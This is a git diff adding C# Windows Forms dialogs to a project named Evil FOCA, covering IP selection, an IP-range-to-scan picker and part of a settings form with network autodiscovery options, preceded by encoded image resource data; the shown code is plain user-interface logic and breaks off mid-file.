AWYCAAEzAWYBMwEAATMCZgEAATMBZgGZAQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZ + AWYBAAEzApkBAAEzAZkBzAEAATMBmQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLM + AQABMwHMAf8BAAEzAf8BMwEAATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEA + AWYBAAFmAQABZgEAAZkBAAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEA + AWYBMwHMAQABZgEzAf8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZ + AWYBAAFmApkBAAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/ + AQABZgH/AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEA + AZkBAAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm + ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwBAAKZ + Af8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIAAZkB/wEz + AQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYBAAHMAQABmQEA + AcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEzAf8BAAHMAWYCAAHM + AWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwBmQEzAQABzAGZAWYBAAHM + ApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEAA8wBAALMAf8BAAHMAf8CAAHM + Af8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwBAAEzAQAB/wEAAWYBAAH/AQABmQEA + AcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEAAf8BMwH/AQAB/wFmAgAB/wFmATMBAAHM + AmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkCAAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZ + AcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHMAWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEz + AQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8BAAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFm + AQABIQEAAaUBAANfAQADdwEAA4YBAAOWAQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHw + AfsB/wEAAaQCoAEAA4ADAAH/AgAB/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/wgAAfQB7wFyBCgBcgHv + AfQOAAH/AZQFFwHjAZQB/zwAAfQBcgEoCAIBJwFyAfQKAAH/AeMDRwEWAr0BlAMXARYB/zkAAQcBKAEu + CwIBKAEHCAABvQRHAb0E/wG9BOMBvQwAAf8BBwHPAoYBrgG1AfQB/yIAAe8BKAFPDQIBJwHvBgABlARH + ARYG/wGUBOMBlAgAAf8B9AG1AYYFxwKmAc8B8gH/HwABBwEoAU8PAgEnAQcEAAG9BUcBlAb/Ab0F4wG9 + BgAB/wHyAYsIrQLHAYYBBwH/HQAB9AEnAVUBLgEtAwIBmAEIAZgJAgEnAfQCAAH0BUcBFwGUBv8BvQbj + Af8FAAH0AYsCrQHHAbQE9AEZA8cBhQEHAf8cAAFyBE8BAgFPAfMD/wEICQIBcgIAAeMFRwIXBv8DFgTj + ARYEAAH/Ac8CrQPHAbQB8wHyAd0BrQOmAccBhgHyGwAB9AEnAZcETwHzBf8BCAgCAScC9AZHAhcB4wG9 + Av8B9AGUBBYE4wH0AwABvAKtAqwCxwGtAvIBCQLHAqYCxwHPAf8aAAHvAU8BVQNPAfMH/wEIBwIBJwHv + AZQGRwQXAhYB4wUWBOMBlAIAAf8BhgGtBKwBxwGtAvMBCQPHAqYBxwGmAfQaAAFyAZcDTwHzCf8BCAcC + AXIHRwIXAeMCvQHzAb0FFgXjAgAB8gGGAdQErAHHAa0C8wEJAawDxwGmAccBpgG1GgABIQGXAk8B9Av/ + AQgGAgEoB0cCFwHzBf8DFgTjARcB4wIAAbwBrQHOBKwCrQLzAd0BrQbHAa4aAAEhAZgBTwGYBf8BCAEC + AfEF/wEIBQIBIQH5BkcBFwEWBv8BvQbjAhcCAAEHAa0BzgKsAa0BtAHVAbQC8wHdAq0BrATHAYYaAAEh + AZgBTwHCBP8BCAEuAU8BLQHxBf8BCAQCASEB+QdHAZQG/wG9BeMDFwIAAQcBrQHOAc0B1ALVAbQBCQL0 + Ad0ErQPHAYYaAAEhAZgBTwGYA/8BCARPAS0B8QX/AQgDAgEhAUcB+QZHAZQG/wG9BOMEFwIAAfABrQHU + AdUB3AHWAdUBtAQJBa0BrAGnAc8aAAHqApcBTwGXAQgBmAZPAQIB8QX/AZgCAgHqAUcB+QZHAZQG/wG9 + BxcB4wIAAfQBpgHbA9wB1gLVAbQIrQHHAQcaAAHvAU8BeAFVCk8BAgHxBP8BCAECAScB7wGUAfkGRwGU + Bv8BvQcXAZQCAAH/Ac8BtAEJA9wB1gG0AgkCtAStAc4BhgH0GgAB9AEhAQgCVQpPAQIB8QP/AZcBAgEh + AvQC+QVHAZQG/wG9BhcBRwH0AwAB8wGtAQkB3AEJAtwBCQL/AQkCtAKtAc4BrQG1Af8bAAJyAZgDVQhP + AS4BAgGYAQgBlwECAUkBcgIAARcC+QRHAZQG/wG9BBcCRwHjBQABtQGtAQkB3AEJAdwBCQL/Ad0DtAHU + Ac4BiwH0HAAB9AEhAZgBlwNVCE8BLgMCAU8BIQH0AgAB9AL5BEcBlAb/Ab0GRwH/BQAB/wG0Aa0BCQLc + AdYCCQG0A9UBrQGLAfIB/x0AAQcBIQEIAZcCVQlPAS4BAgFPASEBBwQAAb0C+QNHAZQG/wG9BUcBvQcA + Af8BtQGtAbQF3ALVAa0BzwH0Af8fAAHvASECmAJVCU8BVQEhAe8GAAEWAvkCRwEWBv8BlARHAZQKAAHz + Ac8BpgStAoYBvAH/IgABBwEhAXIBCAF4AZcFTwFVAZcBTwEhAQcIAAG9A/kBRwb/AeMDRwG9DAAB/wH0 + AfACBwG8AfIB/yUAAfQBcgEhAU8BeAOYAXgBlwFPASEBcgH0CgAB/wEXAvkB4wH0A/8BFgJHAeMB/zwA + AfQB7wHqBCEB6gHvAfQOAAH0AZQDRwEXAkcBlAH0NwABQgFNAT4HAAE+AwABKAMAAWADAAEYAwABAQEA + AQEFAAEgAQEWAAP/AQAB/gEAAX8B/gEAAX8D/wMAAfgBAAEfAfgBAAEfA/8DAAHwAQABDwHwAQABDwH/ + AQABfwMAAeABAAEHAeABAAEHAfgBAAEfAwABwAEAAQMBwAEAAQMB8AEAAQ8DAAGAAQABAQGAAQABAQHw + AQABBwMAAYABAAEBAYABAAEBAeABAAEHCQAB4AEAAQMJAAHAAQABAwkAAcABAAEDCQABwAEAAQMJAAHA + AQABAwkAAcABAAEDCQABwAEAAQMJAAHAAQABAwkAAcABAAEDCQAB4AEAAQMDAAGAAQABAQGAAQABAQHw + AQABBwMAAYABAAEBAYABAAEBAfABAAEHAwABwAEAAQMBwAEAAQMB+AEAAQ8DAAHgAQABBwHgAQABBwH+ + AQABPwMAAfABAAEPAfABAAEPAf8BAAH/AwAB+AEAAR8B+AEAAR8D/wMAAf4BAAF/Af4BAAF/A/8DAAs= + + + + 237, 17 + + \ No newline at end of file diff --git a/EvilFoca/FormSelectIPs.Designer.cs b/EvilFoca/FormSelectIPs.Designer.cs new file mode 100644 index 0000000..f814d66 --- /dev/null +++ b/EvilFoca/FormSelectIPs.Designer.cs @@ -0,0 +1,157 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class FormSelectIPs + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.listViewNeighbors = new evilfoca.Controls.ListViewEx.ListViewEx(); + this.ip = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.version = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.btSelect = new System.Windows.Forms.Button(); + this.btCancel = new System.Windows.Forms.Button(); + this.titulo = new System.Windows.Forms.Panel(); + this.label3 = new System.Windows.Forms.Label(); + this.titulo.SuspendLayout(); + this.SuspendLayout(); + // + // listViewNeighbors + // + this.listViewNeighbors.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.ip, + this.version}); + this.listViewNeighbors.GridLines = true; + this.listViewNeighbors.Location = new System.Drawing.Point(0, 21); + this.listViewNeighbors.Name = "listViewNeighbors"; + this.listViewNeighbors.Size = new System.Drawing.Size(312, 271); + this.listViewNeighbors.TabIndex = 3; + this.listViewNeighbors.UseCompatibleStateImageBehavior = false; + this.listViewNeighbors.View = System.Windows.Forms.View.Details; + // + // ip + // + this.ip.Text = "IP"; + this.ip.Width = 220; + // + // version + // + this.version.Text = "Version"; + this.version.Width = 71; + // + // btSelect + // + this.btSelect.Image = global::evilfoca.Properties.Resources.Ok; + this.btSelect.Location = new System.Drawing.Point(51, 297); + this.btSelect.Name = "btSelect"; + this.btSelect.Size = new System.Drawing.Size(98, 35); + this.btSelect.TabIndex = 4; + this.btSelect.Text = "&Accept"; + this.btSelect.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btSelect.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btSelect.UseVisualStyleBackColor = true; + this.btSelect.Click += new System.EventHandler(this.btSelect_Click); + // + // btCancel + // + this.btCancel.Image = global::evilfoca.Properties.Resources.Cancel; + this.btCancel.Location = new System.Drawing.Point(155, 297); + this.btCancel.Name = "btCancel"; + this.btCancel.Size = new System.Drawing.Size(98, 35); + this.btCancel.TabIndex = 5; + this.btCancel.Text = "&Cancel"; + this.btCancel.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btCancel.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btCancel.UseVisualStyleBackColor = true; + this.btCancel.Click += new System.EventHandler(this.btCancel_Click); + // + // titulo + // + this.titulo.BackColor = System.Drawing.SystemColors.ActiveCaption; + this.titulo.Controls.Add(this.label3); + this.titulo.Location = new System.Drawing.Point(0, 0); + this.titulo.Name = "titulo"; + this.titulo.Size = new System.Drawing.Size(312, 21); + this.titulo.TabIndex = 8; + // + // label3 + // + this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label3.Location = new System.Drawing.Point(12, 1); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(286, 20); + this.label3.TabIndex = 8; + this.label3.Text = "Select IP(s)"; + this.label3.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // FormSelectIPs + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(310, 338); + this.ControlBox = false; + this.Controls.Add(this.titulo); + this.Controls.Add(this.btCancel); + this.Controls.Add(this.btSelect); + this.Controls.Add(this.listViewNeighbors); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Name = "FormSelectIPs"; + this.ShowInTaskbar = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Load += new System.EventHandler(this.FormSelectIPs_Load); + this.titulo.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private Controls.ListViewEx.ListViewEx listViewNeighbors; + private System.Windows.Forms.Button btSelect; + private System.Windows.Forms.Button btCancel; + private System.Windows.Forms.ColumnHeader ip; + private System.Windows.Forms.ColumnHeader version; + private System.Windows.Forms.Panel titulo; + private System.Windows.Forms.Label label3; + + } +} \ No newline at end of file diff --git a/EvilFoca/FormSelectIPs.cs b/EvilFoca/FormSelectIPs.cs new file mode 100644 index 0000000..191264d --- /dev/null +++ b/EvilFoca/FormSelectIPs.cs @@ -0,0 +1,109 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using System.Net; +using evilfoca.Data; + +namespace evilfoca +{ + public partial class FormSelectIPs : Form + { + PanelTargets.TypeList type; + IList lstNeighbors; + SynchronizedCollection lstSelectedIps; + SynchronizedCollection lstIpsFiltered; + SynchronizedCollection lstPrevIpsFiltered; + bool multiSelect; + + public FormSelectIPs(PanelTargets.TypeList type, IList lstNeighbors, bool multiSelect, SynchronizedCollection lstIpsFiltered, SynchronizedCollection lstPrevIpsFiltered) + { + this.lstPrevIpsFiltered = lstPrevIpsFiltered; + this.lstIpsFiltered = lstIpsFiltered; + this.multiSelect = multiSelect; + this.lstNeighbors = lstNeighbors; + lstSelectedIps = new SynchronizedCollection(); + this.type = type; + InitializeComponent(); + } + + private void FormSelectIPs_Load(object sender, EventArgs e) + { + listViewNeighbors.FullRowSelect = true; + listViewNeighbors.MultiSelect = multiSelect; + + foreach (Neighbor neighbor in lstNeighbors) + { + foreach (IPAddress ip in neighbor.GetIPs()) + { + if ((lstIpsFiltered != null) && (lstIpsFiltered.Contains(ip))) + continue; + + ListViewItem lvi = new ListViewItem(ip.ToString()); + lvi.Tag = ip; + + if (lstPrevIpsFiltered != null) + { + if (lstPrevIpsFiltered.Where(I => I.Equals(ip)).Count() > 0) + lvi.Selected = true; + } + + if ((type == PanelTargets.TypeList.Ipv4) && (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)) + { + lvi.SubItems.Add("IPv4"); + listViewNeighbors.Items.Add(lvi); + } + else if ((type == PanelTargets.TypeList.Ipv6) && (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6)) + { + lvi.SubItems.Add("IPv6"); + listViewNeighbors.Items.Add(lvi); + } + } + } + } + + private void btCancel_Click(object sender, EventArgs e) + { + lstSelectedIps.Clear(); + this.Close(); + } + + public SynchronizedCollection GetSelectedIPs() + { + return lstSelectedIps; + } + + private void btSelect_Click(object sender, EventArgs e) + { + foreach (ListViewItem lvi in listViewNeighbors.SelectedItems) + { + IPAddress ip = (IPAddress)lvi.Tag; + lstSelectedIps.Add(ip); + } + + this.Close(); + } + + } +} diff --git a/EvilFoca/FormSelectIPs.resx b/EvilFoca/FormSelectIPs.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/FormSelectIPs.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/FormSelectSubNet.Designer.cs b/EvilFoca/FormSelectSubNet.Designer.cs new file mode 100644 index 0000000..31bf25e --- /dev/null +++ b/EvilFoca/FormSelectSubNet.Designer.cs @@ -0,0 +1,209 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class FormSelectSubNet + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label3 = new System.Windows.Forms.Label(); + this.btCancel = new System.Windows.Forms.Button(); + this.btOk = new System.Windows.Forms.Button(); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.txtTo = new evilfoca.Controls.IpTextBox.IPTextBox(); + this.lblTo = new System.Windows.Forms.Label(); + this.lblFrom = new System.Windows.Forms.Label(); + this.txtFrom = new evilfoca.Controls.IpTextBox.IPTextBox(); + this.rdbCustom = new System.Windows.Forms.RadioButton(); + this.rdbSubnet = new System.Windows.Forms.RadioButton(); + this.groupBox1.SuspendLayout(); + this.SuspendLayout(); + // + // label3 + // + this.label3.BackColor = System.Drawing.SystemColors.ActiveCaption; + this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label3.Location = new System.Drawing.Point(0, 0); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(286, 20); + this.label3.TabIndex = 9; + this.label3.Text = "Select IP Range to Scan"; + this.label3.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + // + // btCancel + // + this.btCancel.Image = global::evilfoca.Properties.Resources.Cancel; + this.btCancel.Location = new System.Drawing.Point(153, 193); + this.btCancel.Name = "btCancel"; + this.btCancel.Size = new System.Drawing.Size(74, 35); + this.btCancel.TabIndex = 11; + this.btCancel.Text = "Cancel"; + this.btCancel.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btCancel.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btCancel.UseVisualStyleBackColor = true; + this.btCancel.Click += new System.EventHandler(this.btCancel_Click); + // + // btOk + // + this.btOk.Image = global::evilfoca.Properties.Resources.Ok; + this.btOk.Location = new System.Drawing.Point(60, 193); + this.btOk.Name = "btOk"; + this.btOk.Size = new System.Drawing.Size(74, 35); + this.btOk.TabIndex = 10; + this.btOk.Text = "Accept"; + this.btOk.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.btOk.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.btOk.UseVisualStyleBackColor = true; + this.btOk.Click += new System.EventHandler(this.btOk_Click); + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.txtTo); + this.groupBox1.Controls.Add(this.lblTo); + this.groupBox1.Controls.Add(this.lblFrom); + this.groupBox1.Controls.Add(this.txtFrom); + this.groupBox1.Controls.Add(this.rdbCustom); + this.groupBox1.Controls.Add(this.rdbSubnet); + this.groupBox1.Location = new System.Drawing.Point(12, 40); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(260, 147); + this.groupBox1.TabIndex = 12; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "IP range"; + // + // txtTo + // + this.txtTo.Enabled = false; + this.txtTo.Location = new System.Drawing.Point(86, 103); + this.txtTo.MaxLength = 15; + this.txtTo.Name = "txtTo"; + this.txtTo.Size = new System.Drawing.Size(168, 20); + this.txtTo.TabIndex = 6; + this.txtTo.Version = evilfoca.Controls.IpTextBox.IPVersion.IPv4; + // + // lblTo + // + this.lblTo.AutoSize = true; + this.lblTo.Location = new System.Drawing.Point(57, 106); + this.lblTo.Name = "lblTo"; + this.lblTo.Size = new System.Drawing.Size(23, 13); + this.lblTo.TabIndex = 5; + this.lblTo.Text = "To:"; + // + // lblFrom + // + this.lblFrom.AutoSize = true; + this.lblFrom.Location = new System.Drawing.Point(47, 80); + this.lblFrom.Name = "lblFrom"; + this.lblFrom.Size = new System.Drawing.Size(33, 13); + this.lblFrom.TabIndex = 4; + this.lblFrom.Text = "From:"; + // + // txtFrom + // + this.txtFrom.Enabled = false; + this.txtFrom.Location = new System.Drawing.Point(86, 77); + this.txtFrom.MaxLength = 15; + this.txtFrom.Name = "txtFrom"; + this.txtFrom.Size = new System.Drawing.Size(168, 20); + this.txtFrom.TabIndex = 2; + this.txtFrom.Version = evilfoca.Controls.IpTextBox.IPVersion.IPv4; + // + // rdbCustom + // + this.rdbCustom.AutoSize = true; + this.rdbCustom.Location = new System.Drawing.Point(19, 54); + this.rdbCustom.Name = "rdbCustom"; + this.rdbCustom.Size = new System.Drawing.Size(90, 17); + this.rdbCustom.TabIndex = 1; + this.rdbCustom.TabStop = true; + this.rdbCustom.Text = "Custom range"; + this.rdbCustom.UseVisualStyleBackColor = true; + this.rdbCustom.CheckedChanged += new System.EventHandler(this.rdbCustom_CheckedChanged); + // + // rdbSubnet + // + this.rdbSubnet.AutoSize = true; + this.rdbSubnet.Checked = true; + this.rdbSubnet.Location = new System.Drawing.Point(19, 31); + this.rdbSubnet.Name = "rdbSubnet"; + this.rdbSubnet.Size = new System.Drawing.Size(74, 17); + this.rdbSubnet.TabIndex = 0; + this.rdbSubnet.TabStop = true; + this.rdbSubnet.Text = "My subnet"; + this.rdbSubnet.UseVisualStyleBackColor = true; + // + // FormSelectSubNet + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(284, 239); + this.ControlBox = false; + this.Controls.Add(this.groupBox1); + this.Controls.Add(this.btCancel); + this.Controls.Add(this.btOk); + this.Controls.Add(this.label3); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Name = "FormSelectSubNet"; + this.ShowInTaskbar = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.groupBox1.ResumeLayout(false); + this.groupBox1.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Button btCancel; + private System.Windows.Forms.Button btOk; + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.RadioButton rdbCustom; + private System.Windows.Forms.RadioButton rdbSubnet; + private System.Windows.Forms.Label lblTo; + private System.Windows.Forms.Label lblFrom; + //private System.Windows.Forms.TextBox txtFrom; + private evilfoca.Controls.IpTextBox.IPTextBox txtFrom; + private Controls.IpTextBox.IPTextBox txtTo; + } +} \ No newline at end of file diff --git a/EvilFoca/FormSelectSubNet.cs b/EvilFoca/FormSelectSubNet.cs new file mode 100644 index 0000000..683d703 --- /dev/null +++ b/EvilFoca/FormSelectSubNet.cs @@ -0,0 +1,88 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Windows.Forms; +using System.Net; + +namespace evilfoca +{ + public partial class FormSelectSubNet : Form + { + private IPAddress _from; + private IPAddress _to; + + public FormSelectSubNet() + { + InitializeComponent(); + this._from = null; + this._to = null; + } + + public IPAddress FromIP + { + get { return _from; } + } + public IPAddress ToIP + { + get { return _to; } + } + + public bool IsMySubnetSelected + { + get { return rdbSubnet.Checked; } + } + + + private void btOk_Click(object sender, EventArgs e) + { + if (rdbCustom.Checked) + { + if (txtTo.IsValid && txtFrom.IsValid) + { + this._from = txtFrom.IpValue; + this._to = txtTo.IpValue; + this.DialogResult = System.Windows.Forms.DialogResult.OK; + } + else + FormMain.ShowMessage("Invalid IP addresses", 1000, FormMessage.IconType.Info); + } + else + this.DialogResult = System.Windows.Forms.DialogResult.OK; + } + + private void btCancel_Click(object sender, EventArgs e) + { + this.DialogResult = System.Windows.Forms.DialogResult.Cancel; + } + + private void rdbCustom_CheckedChanged(object sender, EventArgs e) + { + if ((sender as RadioButton).Checked) + { + txtFrom.Enabled = true; + txtTo.Enabled = true; + } + else + { + txtFrom.Enabled = false; + txtTo.Enabled = false; + } + } + + } +} diff --git a/EvilFoca/FormSelectSubNet.resx b/EvilFoca/FormSelectSubNet.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/FormSelectSubNet.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/FormSettings.Designer.cs b/EvilFoca/FormSettings.Designer.cs new file mode 100644 index 0000000..a0f262b --- /dev/null +++ b/EvilFoca/FormSettings.Designer.cs @@ -0,0 +1,171 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class FormSettings + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormSettings)); + this.buttonSave = new System.Windows.Forms.Button(); + this.buttonCancel = new System.Windows.Forms.Button(); + this.button1 = new System.Windows.Forms.Button(); + this.gbAutodiscover = new System.Windows.Forms.GroupBox(); + this.cbDiscoverICMPMulticast = new System.Windows.Forms.CheckBox(); + this.cbDiscoverARPSweeps = new System.Windows.Forms.CheckBox(); + this.cbDiscoverRouteAdvertisement = new System.Windows.Forms.CheckBox(); + this.gbAutodiscover.SuspendLayout(); + this.SuspendLayout(); + // + // buttonSave + // + this.buttonSave.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.buttonSave.Image = ((System.Drawing.Image)(resources.GetObject("buttonSave.Image"))); + this.buttonSave.Location = new System.Drawing.Point(30, 272); + this.buttonSave.Name = "buttonSave"; + this.buttonSave.Size = new System.Drawing.Size(75, 35); + this.buttonSave.TabIndex = 4; + this.buttonSave.Text = "Save"; + this.buttonSave.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.buttonSave.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.buttonSave.UseVisualStyleBackColor = true; + this.buttonSave.Click += new System.EventHandler(this.buttonSave_Click); + // + // buttonCancel + // + this.buttonCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.buttonCancel.Image = global::evilfoca.Properties.Resources.Cancel; + this.buttonCancel.Location = new System.Drawing.Point(291, 272); + this.buttonCancel.Name = "buttonCancel"; + this.buttonCancel.Size = new System.Drawing.Size(75, 35); + this.buttonCancel.TabIndex = 5; + this.buttonCancel.Text = "Cancel"; + this.buttonCancel.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.buttonCancel.TextImageRelation = System.Windows.Forms.TextImageRelation.ImageBeforeText; + this.buttonCancel.UseVisualStyleBackColor = true; + this.buttonCancel.Click += new System.EventHandler(this.buttonCancel_Click); + // + // button1 + // + this.button1.Image = global::evilfoca.Properties.Resources.Interface; + this.button1.Location = new System.Drawing.Point(30, 12); + this.button1.Name = 